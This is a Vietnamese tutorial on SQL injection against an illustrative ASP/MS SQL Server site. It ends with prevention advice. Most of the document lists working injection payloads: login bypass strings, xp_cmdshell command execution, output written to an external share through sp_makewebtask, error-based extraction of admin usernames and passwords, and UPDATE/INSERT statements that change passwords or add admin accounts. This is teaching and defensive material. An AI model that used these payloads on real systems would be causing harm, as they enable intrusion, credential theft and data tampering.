Tìm hiểu về SQL Injection và cách phòng chống

SQL Injection không còn là khái niệm quá mới, nhưng nó vẫn là một trong những kiểu tấn công mạng khá phổ biến. Bài viết này gồm 12 mục, đi từ khái niệm, các bước diễn ra SQL Injection với một ví dụ minh họa (trang web được dùng làm ví dụ chỉ là minh họa, không có thực) đến cách phòng chống tấn công SQL Injection để bạn đọc hiểu về cách thức tấn công này, từ đó có những biện pháp phòng ngừa, bảo vệ website và hệ thống của mình.
Lưu ý: Không thử tấn công website, hệ thống của cá nhân, tổ chức khác bằng phương pháp này, mọi hành vi như vậy đều là vi phạm pháp luật Việt Nam. Nếu bạn tìm thấy lỗ hổng bảo mật, hãy báo cho người quản trị website, hệ thống đó để họ khắc phục. Bài viết chỉ nhằm mục đích giúp bạn hiểu về kiểu tấn công và có những biện pháp phòng tránh cho ứng dụng web của mình.

Tìm hiểu về SQL Injection

1. SQL Injection là gì?

SQL Injection là một trong những kiểu hack web bằng cách inject các mã SQLquery/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution (thực thi từ xa), dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...

Bài labs SQL Injection

Bạn có thể hình dung toàn bộ quá trình tấn công bằng SQL Injection thông qua một bài labs về SQL injection đơn giản dưới đây. Bài lab sẽ đưa ra ví dụ về một ứng dụng có lỗ hổng để sử dụng SQL Injection, bạn chỉ cần làm theo các bước trong hướng dẫn để tiến hành kiểu tấn công này.

Sau khi thực hiện bài labs, bạn đã có những hình dung cơ bản về SQL Injection, nhưng nếu muốn hiểu rõ và chi tiết hơn, bạn hãy đọc những phân tích cụ thể tiếp theo nhé.

2. Các bước tiến hành SQL Injection

2.1. Tìm kiếm mục tiêu

Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ...

Ví dụ:

```
http://yoursite.com/index.asp?id=10
```

Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

```
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
```

2.2. Kiểm tra chỗ yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--

```
Login: hi' or 1=1--
Password: hi' or 1=1--
http://yoursite.com/index.asp?id=hi' or 1=1--
```

Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

```
<FORM action=http://yoursite.com/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
```

Nếu thành công, thì có thể login vào mà không cần phải biết username và password

2.3. Tại sao ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

```
http://yoursite.com/index.asp?category=food
```

Trong URL trên, biến '***category***' được gán giá trị là '***food***'. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):

```
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
```

v_cat sẽ chứa giá trị của biến request("category") là '***food***' và câu lệnh SQL tiếp theo sẽ là:

```
SELECT * FROM product WHERE PCategory='food'
```

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'

Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food' or 1=1--, biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:

```
SELECT * FROM product WHERE PCategory='food' or 1=1--'
```

Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#"

Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:

```
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
```

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

```
' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a
```

2.4. Thi hành lệnh từ xa bằng SQL Injection

Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure ***xp_cmdshell*** trong CSDL ***master*** để thi hành lệnh từ xa:

```
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
```

Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.

Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

```
#tcpdump icmp
```

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

2.5. Nhận output của SQL query

Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

```
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
```

Chú ý: folder "***share***" phải được share cho Everyone trước.

2.6. Nhận dữ liệu qua *'database using ODBC error message'*

Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
```

Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

```
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
```

Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'table1' to a column of data type int.
/index.asp, line 5
```

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "***table1***". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
```

Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
```

Khi đó thông báo lỗi của SQL Server có thể là:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.

/index.asp, line 5
```

Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "***admin_login***".

2.7. Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
```

Khi đó thông báo lỗi của SQL Server có thể như sau:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.

/index.asp, line 5
```

Như vậy tên của column đầu tiên là "***login_id***". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
```

Khi đó thông báo lỗi của SQL Server có thể như sau:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
```

/index.asp, line 5

Làm tương tự như trên, có thể lấy được tên của các column còn lại như "***password***", "***details***". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
```

Khi đó thông báo lỗi của SQL Server có thể như sau:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5
```

2.8. Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

Có thể lấy ***login_name*** đầu tiên trong table "***admin_login***" như sau:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
```

Khi đó thông báo lỗi của SQL Server có thể như sau:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.

/index.asp, line 5
```

Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
```

Khi đó thông báo lỗi của SQL Server có thể như sau:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'm4trix' to a column of data type int.

/index.asp, line 5
```

Và bây giờ là đã có thể login vào với username là "***neo***" và password là "***m4trix***".

2.9. Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "***trinity***" là "***31173***". Vậy nếu ta thi hành lệnh sau:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM
admin_login where login_name='trinity'--
```

Thì khi đó chỉ nhận được thông báo lỗi "*Page Not Found*". Lý do bởi vì server có thể chuyển passoword "***31173***" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int,
password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
```

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi *'(space)morpheus'* vào cuối password để tạo ra một string mới không phải numeric string là *'31173 morpheus'*. Khi hàm convert() được gọi để chuyển *'31173 morpheus'* sang integer, SQL server sẽ phát lỗi ODBC error message sau:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value '31173 morpheus' to a column of data type int.

/index.asp, line 5
```

Và nghĩa là bây giờ ta cũng có thể login vào với username '***trinity***' và password là '***31173***'

2.10. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của tất cả các column trong table, có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

Để thay đổi password của "***neo***", có thể làm như sau:

```
http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
```

Hoặc nếu bạn muốn một record mới vào table:

```
http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password','details') VALUES (666,'neo2','newpas5','NA')--
```

Và bây giờ có thể login vào với username "***neo2***" và password là "***newpas5***"

3. Ngăn chặn SQL Injection

Các tổ chức có thể tập trung vào những bước sau đây để bảo vệ mình khỏi những cuộc tấn công SQL Injection:

- Không bao giờ được tin tưởng những input người dùng nhập vào: Dữ liệu luôn phải được xác thực trước khi sử dụng trong các câu lệnh SQL.
- Các thủ tục được lưu trữ: Những thủ tục này có thể trừu tượng hóa các lệnh SQL và xem xét toàn bộ input như các tham số. Nhờ đó, nó không thể gây ảnh hưởng đến cú pháp lệnh SQL.
- Các lệnh được chuẩn bị sẵn: Điều này bao gồm việc tạo truy vấn SQL như hành động đầu tiên và sau đó xử lý toàn bộ dữ liệu được gửi như những tham số.
- Những cụm từ thông dụng: Những cụm từ này được sử dụng để phát hiện mã độc và loại bỏ nó trước khi câu lệnh SQL được thực hiện.
- Thông báo lỗi đúng: Thông báo lỗi phải tuyệt đối tránh tiết lộ những thông tin/chi tiết nhạy cảm và vị trí xảy ra lỗi trên thông báo lỗi.
- Giới hạn quyền truy cập của người dùng đối với cơ sở dữ liệu: Chỉ những tài khoản có quyền truy cập theo yêu cầu mới được kết nối với cơ sở dữ liệu. Điều này có thể giúp giảm thiểu những lệnh SQL được thực thi tự động trên server.
- Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:
  - input do người dùng đệ trình
  - các tham số từ URL
  - các giá trị từ cookie
- Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
- Thay đổi "*Startup and run SQL Server*" dùng mức *low privilege user* trong tab SQL Server Security.
- Xóa các stored procedure trong database ***master*** mà không dùng như:
  - xp_cmdshell
  - xp_startmail
  - xp_sendmail

- sp_makewebtask

Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.